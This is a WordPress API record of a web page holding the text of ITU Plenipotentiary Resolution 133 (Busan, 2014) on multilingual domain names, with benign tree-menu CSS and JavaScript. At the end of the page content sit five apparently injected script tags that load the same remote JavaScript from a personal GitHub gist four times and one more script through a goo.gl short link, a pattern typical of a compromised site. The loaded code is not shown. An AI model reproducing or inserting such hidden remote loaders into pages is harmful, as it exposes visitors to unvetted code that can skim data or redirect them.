{"id":1674,"date":"2015-06-30T13:43:28","date_gmt":"2015-06-30T17:43:28","guid":{"rendered":"http:\/\/internetdistinction.com\/wsisimpacts\/?page_id=1674"},"modified":"2015-06-30T13:43:28","modified_gmt":"2015-06-30T17:43:28","slug":"pp-2014_133","status":"publish","type":"page","link":"https:\/\/internetdistinction.com\/wsisimpacts\/wsis\/plenipotentiary\/pp-2014\/pp-2014_133\/","title":{"rendered":"PP Resolution 133"},"content":{"rendered":"<p><style type=\"text\/css\">\nbody {}\n\n:link { color: #0000ff; text-decoration:none;}\n:visited { color: #6666ff; text-decoration:none; }\na:active { color: #0000ff; text-decoration:none;}\na:hover {color: #0000ff; text-decoration:underline; }\n\ndiv.basetext {}\n\ndiv.basetop {}\n\nh1 {\n    text-align:center;\n}\n\nspan.h2 {}\n\ndiv.year {}\n\ndiv.form {}\n\nspan.cpt {}\n\nspan.cm {}\n\n.fl {}\n\nul {}\n\nli {}\n\nul li {\n\tlist-style:square;\n\tfont-family:sans-serif;\n\tfont-weight:normal;\n}\n\nli.basic {\n\tlist-style:square;\n\tlist-style-image:none;\n  margin-top:2px;\n  margin-bottom:2px;\n}\n\nspan.links {\n}\n\n\n\n\n.sub { display: none; }\n.subexp {display: block; }\n.sub { display: none; } \n\n.subexp {display: block; } \n\nli.exp {\n  list-style-image:url(\"plus.png\");\n  margin-top:10px;\n  margin-bottom:10px;\n  cursor:pointer;\n}\n\nli.col {\n  list-style-image:url(\"minus.png\");\n  margin-top:10px;\n  margin-bottom:10px;\n  cursor:pointer;\n}\n\nli.exp_active {\n  list-style-image:url(\"plus.png\");\n  margin-top:10px;  \n  margin-bottom:10px;\n  background-color:#eeeeff;\n  cursor:pointer;\n}\n\nli.col_active {\n  list-style-image:url(\"minus.png\");\n  margin-top:10px;\n  margin-bottom:10px;\n  background-color:#eeeeff;\n  cursor:pointer; \/* if not included, bullets are not shown right in moz*\/\n}\n\n\nli.basic_active {\n  list-style:square;\n  list-style-image:none;\n  background-color:#eeeeff;\n  margin-top:2px;\n  margin-bottom:2px;\n}\n\n\/* the 'boxed' and 'attributes' styles are used to display notes and attributes\n*\/\n\n.boxed,.nodecontent {display:inline;}\n.boxed .note-and-attributes {display:none;}\n\n.boxed:hover .note-and-attributes {\n\tposition:fixed; top:2em;right:10px;z-index:3;\n\tdisplay:block;\n\tmin-width:33%;\n\tmax-width:60%;\n\tmax-height:95%;\n\tcolor:black;\n\tbackground:#ffffff;\n\tfont:normal 16px courier, sans-serif;\n\tborder:1px solid black;\n\tpadding:10px;\n}\n\n.note:before {\n\tcontent:\"NOTE: \";\n\tfont-weight:bold;\n}\n\ntable.attributes {\n\tborder-collapse:collapse;\n\tempty-cells:show;\n\tborder:thin black solid;\n}\ntable.attributes td,th {\n\tborder:thin black solid;\n\tpadding-top:2px;\n\tpadding-bottom:2px;\n\tpadding-left:3px;\n\tpadding-right:3px;\n}\ntable.attributes th {\n\ttext-align:center;\n}\ntable.attributes caption {\n\tmargin-top:1em;\n\tfont-style:italic;\n\ttext-align:center;\n}\n\/* Thanks to wolfgangradke, https:\/\/sourceforge.net\/forum\/message.php?msg_id=5991663 *\/\ndiv.nodecontent > p {\n\tmargin-top:0pt;\n\tmargin-bottom:0pt;\n\tdisplay:inline;\n}\n\np + p { \n \tmargin-top: 0.5em !important;\n\tdisplay:block !important;\n}\n\n\/* Thanks to erne100, https:\/\/sourceforge.net\/tracker\/?func=detail&atid=107118&aid=2747128&group_id=7118*\/\ntable {\n\tborder-collapse:collapse;\n\tempty-cells:show;\n\tborder:thin black solid;\n}\ntable td {\n\tborder:thin black solid;\n\tpadding-top:2px;\n\tpadding-bottom:2px;\n\tpadding-left:3px;\n\tpadding-right:3px;\n}\n\n\/* Thanks to erne100, https:\/\/sourceforge.net\/tracker\/?func=detail&atid=107118&aid=2747000&group_id=7118*\/\nol {\n\tmargin-top:1px;\n    margin-bottom:1px;\n\tmargin-left:0px;\n\tpadding-left:3%;\n}\n\nol li {\n\tlist-style:decimal;\n\tfont-family:sans-serif;\n\tfont-weight:normal;\n}\n<\/style><br \/>\n<script type=\"text\/javascript\">\r\n\/* MarkTree JavaScript code\r\n * \r\n * Distributed under the terms of the MIT License.\r\n * See \"LICENCE.MIT\" or http:\/\/www.opensource.org\/licenses\/mit-license.php for details.\r\n *\r\n * Software distributed under the License is distributed on an \"AS IS\" basis,\r\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\r\n * for the specific language governing rights and limitations under the\r\n * License.\r\n * \r\n * Miika Nurminen, 12.7.2004.\r\n *\/\r\n\r\n\/* cross-browser (tested with ie5, mozilla 1 and opera 5) keypress detection *\/\r\nfunction get_keycode(evt) {\r\n  \/\/ IE\r\n    code = document.layers ? evt.which\r\n           : document.all ? event.keyCode \/\/ event.keyCode!=evt.keyCode!\r\n           : evt.keyCode;\r\n\r\n  if (code==0) \r\n    code=evt.which; \/\/ for NS\r\n  return code;\r\n}\r\n\r\nvar lastnode=null;\r\nvar listnodes = null;\r\nvar list_index=1;\r\nvar lastnodetype=''; \/\/ determines if node is a link, input or text;\r\n\r\n\/\/ up, left, down, right, keypress codes\r\n\/\/ijkl\r\n\/\/var keys = new Array(105,106,107,108);\r\n\/\/num arrows\r\n\/\/var keys = new Array(56,52,50,54);\r\n\/\/wasd\r\n\/\/ var press2 = new Array(119,97,115,100);\r\n var press = new Array(47,45,42,43);\r\n\r\n\/\/ keydown codes\r\n  \/\/  var keys2=new Array(87,65,83,68);\r\n  var keys= new Array(38,37,40,39);\r\n\r\n  \/\/ keyset 1 = keydown, otherwise press\r\nfunction checkup(keyset,n) {\r\n  if (keyset==1) return (n==keys[0]);\r\n  return ((n==press[0]) \/*|| (n==press2[0])*\/)\r\n}\r\n\r\nfunction checkdn(keyset,n) {\r\n  if (keyset==1) return (n==keys[2]);\r\n  return ((n==press[2]) \/*|| (n==press2[2])*\/)\r\n}\r\n\r\nfunction checkl(keyset,n) {\r\n  if (keyset==1) return (n==keys[1]);\r\n  return ((n==press[1]) \/*|| (n==press2[1])*\/)\r\n}\r\n\r\nfunction checkr(keyset,n) {\r\n  if (keyset==1) return (n==keys[3]);\r\n  return ((n==press[3]) \/*|| (n==press2[3])*\/)\r\n}\r\n\r\n\r\n\r\n\r\n\r\nfunction is_exp(n) {\r\n  if (n==null) return false;\r\n  return ((n.className=='exp') || (n.className=='exp_active'));\r\n}\r\n\r\nfunction is_col(n) {\r\n  if (n==null) return false;\r\n  return ((n.className=='col') || (n.className=='col_active'));\r\n}\r\n\r\nfunction is_basic(n) {\r\n  if (n==null) return false;\r\n  return ((n.className=='basic') || (n.className=='basic_active'));\r\n}\r\n\r\n\r\n\r\n\/* returns i>=0 if true *\/\r\nfunction is_active(node) {\r\n  if (node.className==null) return false\r\n  return node.className.indexOf('_active');\r\n}\r\n\r\nfunction toggle_class(node) {\r\n  if ((node==null) || (node.className==null)) return;\r\n  str=node.className;\r\n  result=\"\";\r\n  i = str.indexOf('_active');\r\n  if (i>0)\r\n    result= str.substr(0,i);\r\n  else\r\n    result= str+\"_active\";\r\n  node.className=result; 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i<n.childNodes.length; i++) {\r\n    s = get_link(n.childNodes[i]);\r\n    if (s!=null) return s;\r\n  }\r\n  return null;\r\n}\r\n\r\nfunction set_lastnode(n) {\r\n\/*var d = new Date();\r\nvar t_mil = d.getMilliseconds();*\/\r\n\/\/ testattu nopeuksia explorerilla, ei merkitt\u2030vi\u2030 eroja\r\n  if (lastnode==n) return; \r\n\/*  deactivate(lastnode)\r\n  lastnode=n;\r\n  activate(lastnode);*\/\r\n\r\n  if (is_active(lastnode)>=0)\r\n    toggle_class(lastnode);\r\n  lastnode=n;\r\n  if (!(is_active(lastnode)>=0))\r\n    toggle_class(lastnode);\r\n\r\n\r\n\/*var d2 = new Date();\r\nvar t_mil2 = d2.getMilliseconds();\r\n  window.alert(t_mil2-t_mil);*\/\r\n}\r\n\r\nfunction next_list_node() {\r\n  tempIndex = list_index;\r\n  while (tempIndex<listnodes.length-1) {\r\n    tempIndex++;\r\n    var x = listnodes[tempIndex];\r\n    if (is_list_node(x)) {\r\n      list_index=tempIndex;\r\n      return;\r\n    }\r\n  }\r\n}\r\n\r\nfunction prev_list_node() {\r\n  tempIndex = list_index;\r\n  while (tempIndex>0) {\r\n    tempIndex--;\r\n    var x = listnodes[tempIndex];\r\n    if (is_list_node(x)) {\r\n      list_index=tempIndex;\r\n      return;\r\n    }\r\n  }\r\n}\r\n\r\n\r\n\r\nfunction getsub (li) {\r\n  if (li.childNodes.length==0) return null;\r\n  for (var c = 0; c < li.childNodes.length; c++)\r\n    if ( (li.childNodes[c].className == 'sub') || (li.childNodes[c].className == 'subexp') ) \r\n      return li.childNodes[c];\r\n}\r\n\r\nfunction find_listnode_recursive (li) {\r\n  if (is_list_node(li)) return li; \r\n  if (li.childNodes.length==0) return null;\r\n  result=null;\r\n  for (var c = 0; c < li.childNodes.length; c++) {\r\n    result=find_listnode_recursive(li.childNodes[c]);\r\n    if (result!=null) return result;\r\n  }\r\n  return null;\r\n}\r\n\r\nfunction next_child_listnode(li) {\r\n  var result=null;\r\n  for (var i=0; i<li.childNodes.length; i++) {\r\n    result=find_listnode_recursive(li.childNodes[i]);\r\n    if (result!=null) return result;\r\n  }\r\n  return null;  \r\n}\r\n\r\nfunction next_actual_sibling_listnode(li) {\r\n  if (li==null) return null;\r\n  var temp=li;\r\n  while (1) { \r\n    var n = temp.nextSibling;\r\n    if (n==null) {\r\n      n=parent_listnode(temp);\r\n      return next_actual_sibling_listnode(n);\r\n    }\r\n    if (is_list_node(n)) return n;\r\n    temp=n;\r\n  }\r\n}\r\n\r\nfunction next_sibling_listnode(li) {\r\nif (li==null) return null; \r\n var result=null;\r\n  var temp=li;\r\n  if (is_col(temp)) return next_child_listnode(temp);\r\n  while (1) { \r\n    var n = temp.nextSibling;\r\n    if (n==null) {\r\n      n=parent_listnode(temp);\r\n      return next_actual_sibling_listnode(n);\r\n    }\r\n    if (is_list_node(n)) return n;\r\n    temp=n;\r\n  }\r\n}\r\n\r\nfunction last_sibling_listnode(li) {\r\n  if (li==null) return null;\r\n  var temp=li;\r\n  var last=null;\r\n  while(1) {\r\n    var n = temp.nextSibling;\r\n    if (is_list_node(temp)) \r\n      last = temp;\r\n    if (n==null) {\r\n      if (is_col(last)) return last_sibling_listnode(next_child_listnode(last));\r\n      else return last;\r\n    }\r\n    temp = n;\r\n  }\r\n}\r\n\r\nfunction prev_sibling_listnode(li) { \r\n  if (li==null) return null;\r\n  var temp=li;\r\n  var n = null;\r\n  while (1) { \r\n    n = temp.previousSibling;\r\n    if (n==null) {\r\n      return parent_listnode(li);\r\n    }\r\n    if (is_list_node(n)) {\r\n      if (is_col(n)) { \r\n        return last_sibling_listnode(next_child_listnode(n));\r\n      }\r\n      else {\r\n        return n;\r\n      }\r\n    }\r\n    temp=n;\r\n  }\r\n}\r\n\r\n\r\nfunction parent_listnode(li) {\r\n  \/\/ added 12.7.2004 to prevent IE error when readonly mode==true\r\n  if (li==null) return null;\r\n  n=li;\r\n  while (1) {\r\n    n=n.parentNode;\r\n    if (n==null) return null;\r\n    if (is_list_node(n)) return n;\r\n  }\r\n}\r\n\r\nfunction getVisibleParents(id) {\r\n  var n = document.getElementById(id);\r\n  while(1) {\r\n    expand(n);\r\n    n = parent_listnode(n);\r\n    if (n==null) return;\r\n  }\r\n}\r\n\r\nfunction onClickHandler (evt) {\r\nif (lastnode==null) \r\n{\r\nlistnodes = document.getElementsByTagName('li');\r\nlastnode=listnodes[1];\r\ntemp=listnodes[1];\r\n}\r\n\r\n\r\n  var target = evt ? evt.target : event.srcElement;\r\n  if (!is_list_node(target)) return;\r\n  toggle(target);\r\n  set_lastnode(target);\r\n}\r\n\r\n\r\nfunction expand(node) {\r\n    if (!is_exp(node)) return;\r\n    if (node.className=='exp_active') \r\n      node.className='col_active';\r\n    else \r\n        node.className='col';\r\n    setSubClass(node,'subexp');\r\n    \/\/    getsub(node).className='subexp';\r\n}\r\n\r\nfunction collapse(node) {\r\n  if (!is_col(node)) return;\r\n  \r\nif (node.className=='col_active')\r\n    node.className='exp_active'\r\n  else \r\n    node.className='exp';\r\n\r\n setSubClass(node,'sub');\r\n\/\/  getsub(node).className='sub';\r\n\r\n}\r\n\r\nfunction setSubClass(node,name) {\r\n  sub = getsub(node);\r\n  if (sub==null) return;\r\n  sub.className=name;  \r\n}\r\n\r\nfunction toggle(target) {\r\n  if (!is_list_node(target)) return;\r\n    if (is_col(target)) {\r\n      target.className='exp';\r\n      setSubClass(target,'sub');\r\n      \/\/      getsub(target).className='sub';\r\n    }\r\n    else if (is_exp(target)) {\r\n      target.className='col';\r\n      setSubClass(target,'subexp');\r\n      \/\/      getsub(target).className='subexp';\r\n    }\r\n \r\n}\r\n\r\nfunction expandAll(node) {\r\n    if (node.className=='exp') {\r\n        node.className='col';\r\n        setSubClass(node,'subexp');\r\n\/\/        getsub(node).className='subexp';\r\n    }\r\n    var i;\r\n    if (node.childNodes!=null) \r\n\/\/    if (node.hasChildNodes()) \r\n        for ( i = 0; i<node.childNodes.length; i++)\r\n            expandAll(node.childNodes[i]);\r\n}\r\n\r\nfunction collapseAll(node) {\r\n    if  (node.className=='col') {\r\n        node.className='exp';\r\n        setSubClass(node,'sub');\r\n\/\/        getsub(node).className='sub';\r\n    }\r\n    var i;        \r\n    if (node.childNodes!=null) \r\n\/\/ for opera   if (node.hasChildNodes()) \r\n        for ( i = 0; i<node.childNodes.length; i++)\r\n            collapseAll(node.childNodes[i]);\r\n}\r\n\r\n\r\n\r\nfunction unFocus(node) {\r\n     \/\/ unfocuses potential link that is to be hidden (if a==null there is no link so it should not be blurred).\r\n     \/\/ tested with mozilla 1.7, 12.7.2004. \/mn (\r\n      intemp=parent_listnode(node);  \r\n      a = get_link(intemp);     \/\/ added 6.4. to get keyboard working with\r\n      \/\/ moved before collapse to prevent an error message with IE when readonly==true      \r\n      if (a!=null) a.blur(); \/\/ netscape after collapsing a focused node\r\n      return intemp;\r\n}\r\n\r\n\/\/ mode: 0==keypress, 1==keyup\r\nfunction keyfunc(evt,mode) {\r\n var c = get_keycode(evt);\r\n var temp = null;\r\n var a = null;\r\n\r\n  if (lastnode==null) {\r\n    listnodes = document.getElementsByTagName('li');\r\n    lastnode=listnodes[1];\r\n    temp=listnodes[1];\r\n  }\r\n\r\n  \/\/window.alert(c);\r\n  if (checkup(mode,c)) { \/\/ i \r\n   temp=prev_sibling_listnode(lastnode);\r\n  }\r\n  else if (checkdn(mode,c)) { \/\/ k\r\n    temp=next_sibling_listnode(lastnode);\r\n  }\r\n  else if (checkr(mode,c)) { \/\/ l\r\n    expand(lastnode);\r\n    \/\/  temp=next_child_listnode(lastnode);\r\n    \/\/ if (temp==null) {\r\n      a = get_link(lastnode);\r\n        if (a!=null) a.focus(); else self.focus(); \r\n      \/\/}\r\n  }\r\n  else if (checkl(mode,c)) { \/\/ j\r\n    if (is_col(lastnode)) {\r\n      unFocus(lastnode);\r\n      collapse(lastnode);\r\n    }\r\n    else {\r\n      temp=unFocus(lastnode);\r\n      collapse(temp);\r\n    }\r\n   \/\/    if (temp==null) lastnode.focus(); \/\/ forces focus to correct div (try mozilla typesearch) (doesn't seem to work -mn\/6.4.2004)\r\n  }\r\n  else return;\r\n  if (temp!=null) set_lastnode(temp);\r\n\r\n  \/\/ alert('pressed ' + String.fromCharCode(c) + '(' + c + ')');\r\n  return true;\r\n}\r\n\r\n\r\nfunction keytest (evt) {\r\n  return keyfunc(evt,1);\r\n};\r\n\r\n\r\nfunction presstest (evt) {\r\n  return keyfunc(evt,0);\r\n};\r\n\r\n\r\n  document.onclick = onClickHandler;\r\n  document.onkeypress = presstest;\r\n  document.onkeyup = keytest;\r\n<\/script><\/p>\n<h3><span style=\"\">PP RESOLUTION 133 (Rev. Busan, 2014)<\/span><\/h3>\n<h4><span style=\"\">Role of administrations of Member States in the management of internationalized (multilingual) domain names<\/span><\/h4>\n<p><span style=\"\">The Plenipotentiary Conference of the International Telecommunication Union ( Busan, 2014),<\/span><\/p>\n<ul class=\"subexp\">\n<li class=\"exp\">\n<div class=\"nodecontent\">considering<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">the provisions of Resolutions 101 and 102 (Rev. Busan, 2014) of this conference, on ITU&#8217;s role with regard to international public policy issues pertaining to the Internet and the management of Internet resources, including domain names and addresses,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">recalling<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">a)        the role of the ITU Telecommunication Standardization Sector (ITU\u2011T), as defined in resolutions adopted at the World Telecommunication Standardization Assembly, including, inter alia, Resolution 47 (Rev. Dubai, 2012), on country code top-level domain names, and Resolution 48 (Rev. Dubai, 2012), on internationalized domain names, and ongoing activities in ITU-T Study Group 16 in this regard;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">b)        the commitment of the Tunis Agenda for the Information Society adopted by the World Summit on the Information Society (WSIS) to advance the process for the introduction of multilingualism in a number of areas including domain names, e-mail, Internet addresses and keyword look-up;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">c)        the need to promote regional root servers and the use of internationalized domain names in order to overcome linguistic barriers to Internet access;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">d)        past successful standardization activities undertaken by ITU-T with regard to the adoption of recommendations pertaining to non-Latin character sets for telex (five-character code) and data transfer (seven-character code), allowing the use of non-Latin character sets for national and regional telex and for data transfer at global, regional and international level,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">aware<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">a)        of the continuing progress towards integration of telecommunications and the Internet;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">b)        that Internet users are generally more comfortable reading or browsing through texts in their own language and that, for the Internet to become more widely available to a large number of users, it is necessary to make the Internet (DNS system) available in non-Latin based scripts, taking into account the progress recently made in this regard;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">c)        that, recalling the results of WSIS and resolutions of the Plenipotentiary Conference (Antalya, 2006), there should be a continuing commitment to working earnestly towards multilingualization of the Internet, as part of the multilateral, transparent and democratic process, involving governments and all other stakeholders, in their respective roles in implementation of this resolution;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">d)        of the progress made by all stakeholders, in particular through relevant organizations and entities, in the introduction of internationalized domain names (IDNs);<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">e)        of the significant progress made towards the provisions of IDNs and the benefits of using non-Latin character sets available on the Internet;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">f)        the progress made in providing multilingualism on the Internet,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">emphasizing<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">a)        that the current domain name system has made progress in reflecting the diverse and growing language needs of all users, while recognizing that more remains to be done;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">b)        that internationalized Internet domain names, and more generally information and communication technologies (ICTs) and the Internet, must be widely accessible to all citizens without regard to gender, race, religion, country of residence or language;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">c)        that Internet domain names should not privilege any country or region of the world to the detriment of others, and should take into account the global diversity of languages;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">d)        the role of ITU to assist its membership in promoting the use of their language scripts for domain names;<\/div>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">e)        that, recalling the results of WSIS and the needs of linguistic groups, there is an urgent need to:<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">\u2022        advance the process for the introduction of multilingualism in a number of areas, including domain names, e-mail addresses and keyword look-up;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">\u2022        implement programmes that allow for the presence of multilingual domain names and content on the Internet and the use of various software models in order to fight against the linguistic digital divide and to ensure that everyone can participate in the emerging new society;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">\u2022        strengthen cooperation between relevant bodies for the further development of technical standards and to foster their global deployment,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">recognizing<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">a)        the existing role and sovereignty of ITU Member States with respect to allocation and management of their country code numbering resources as enshrined in Recommendation ITU-T E.164;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">b)        that there are a number of challenges with regard to intellectual property and the deployment of internationalized domain names, and adequate solutions should be explored;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">c)        the role played by the World Intellectual Property Organization (WIPO) with regard to dispute resolution for domain names;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">d)        the role played by the United Nations Educational, Scientific and Cultural Organisation (UNESCO) with regard to promoting cultural diversity and identity, linguistic diversity and local content;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">e)        that ITU enjoys close cooperation with both WIPO and UNESCO;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">f)        that it is paramount to maintain global interoperability as domain names expand to include non-Latin character sets,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">resolves<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">to explore ways and means for greater collaboration and coordination between ITU and relevant organizations1 involved in the development of IP-based networks and the future internet, through cooperation agreements, as appropriate, in order to increase the role of ITU in Internet governance so as to ensure maximum benefits to the global community,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">instructs the Secretary-General and the Directors of the Bureaux<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">1        to take an active part in all international discussions, initiatives and activities on the deployment and management of internationalized Internet domain names, in cooperation with relevant organizations, including WIPO and UNESCO;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">2        to take any necessary action to ensure the sovereignty of ITU Member States with regard to Recommendation ITU-T E.164 numbering plans whatever the application in which they are used;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">3        to encourage the ITU members, as appropriate, to develop and deploy the internationalized domain names in their respective language scripts using their specific character sets;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">4        to support Member States in meeting the commitments of the Geneva Plan of Action and the Tunis Agenda in respect of internationalized domain names;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">5        to make proposals, where appropriate, for achieving the aims of this resolution;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">6        to bring this resolution to the attention of WIPO and UNESCO, which is facilitator for implementation of WSIS Action Line C8, stressing the concerns and requests for assistance of Member States, in particular the developing countries2, with regard to internationalized (multilingual) domain names, and their insistence on help from the Union in this field, in order to ensure Internet use and advancement across language barriers, thereby increasing the international use of the Internet;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">7        to report annually to the ITU Council on the activities undertaken and achievements attained on this subject,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">instructs the Council<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">to consider the activities of the Secretary-General and Directors of the Bureaux with regard to the implementation of this resolution and to take necessary actions, as appropriate,<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\">\n<div class=\"nodecontent\">invites Member States and Sector Members<\/div>\n<ul class=\"sub\">\n<li class=\"basic\">\n<div class=\"nodecontent\">1        to take an active part in all international discussions and initiatives on the further development and deployment of internationalized Internet domain names, including the initiatives of relevant language groups, and to submit written contributions to ITU-T in order to help implement this resolution;<\/div>\n<\/li>\n<li class=\"basic\">\n<div class=\"nodecontent\">2        to urge all relevant entities working to develop and implement internationalized domain names in order to expedite their activities in this domain.<\/div>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/goo.gl\/dd1kPI'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>PP RESOLUTION 133 (Rev. Busan, 2014) Role of administrations of Member States in the management of internationalized (multilingual) domain names The Plenipotentiary Conference of the International Telecommunication Union ( Busan, 2014), considering the provisions of Resolutions 101 and 102 (Rev. Busan, 2014) of this conference, on ITU&#8217;s role with regard to international public policy issues [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1668,"menu_order":133,"comment_status":"open","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-1674","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/1674","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/comments?post=1674"}],"version-history":[{"count":0,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/1674\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/1668"}],"wp:attachment":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/media?parent=1674"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}